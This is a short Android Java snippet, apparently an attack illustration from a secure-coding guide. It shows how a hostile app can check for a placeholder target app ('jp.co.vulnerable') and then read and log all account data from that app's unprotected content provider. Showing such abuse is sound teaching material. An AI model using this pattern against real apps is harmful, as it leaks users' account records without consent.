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// check whether movatwi is installed.
try {
  ApplicationInfo info = getPackageManager().getApplicationInfo("jp.co.vulnerable", 0);[cjl5] 
} catch (NameNotFoundException e) {
  Log.w(TAG, "the app is not installed.");
  return;
}
// extract account data through content provider
Uri uri = Uri.parse("content://jp.co.vulnerable.accountprovider");
Cursor cur = getContentResolver().query(uri, null, null, null, null);[cjl6] 
StringBuilder sb = new StringBuilder();
if (cur != null) {
  int ri = 0;
  while (cur.moveToNext()) {
    ++ri;
    Log.i(TAG, String.format("row[%d]:", ri));
    sb.setLength(0);
    for (int i = 0; i < cur.getColumnCount(); ++i) {
      String column = cur.getColumnName(i);
      String value = cur.getString(i);
      if (value != null) {
        value = value.replaceAll("[\r\n]", "");
      }
      Log.i(TAG, String.format("\t%s:\t%s", column, value));
    }
  }
} else {
  Log.i(TAG, "Can't get the app information.");
}